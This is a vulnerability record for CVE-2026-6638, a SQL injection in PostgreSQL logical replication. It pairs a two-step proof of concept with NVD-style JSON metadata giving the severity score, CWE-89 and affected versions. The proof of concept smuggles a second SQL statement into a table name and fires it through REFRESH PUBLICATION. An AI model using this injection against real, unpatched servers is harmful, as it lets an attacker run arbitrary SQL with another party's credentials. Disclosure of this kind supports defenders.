CVE-2026-6638

-- Step 1: On the subscriber, create a table with a malicious name containing SQL payload -- The payload attempts to execute a simple statement (e.g., sleep or a notice) CREATE TABLE "public.users; SELECT pg_sleep(5); --" (id INT); -- Step 2: Trigger the vulnerability by forcing a publication refresh -- This causes the publisher to fetch table metadata and execute the injected SQL ALTER SUBSCRIPTION my_subscription REFRESH PUBLICATION;

{"cve": {"id": "CVE-2026-6638", "sourceIdentifier": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "published": "2026-05-14T14:16:25.937", "lastModified": "2026-05-14T16:21:23.190", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "SQL injection in PostgreSQL logical replication ALTER SUBSCRIPTION ... REFRESH PUBLICATION allows a subscriber table creator to execute arbitrary SQL with the subscription's publication-side credentials. The attack takes effect at the next REFRESH PUBLICATION. Within major versions 16, 17, and 18, minor versions before PostgreSQL 18.4, 17.10, and 16.14 are affected. Versions before PostgreSQL 16 are unaffected."}], "metrics": {"cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://www.postgresql.org/support/security/CVE-2026-6638/", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}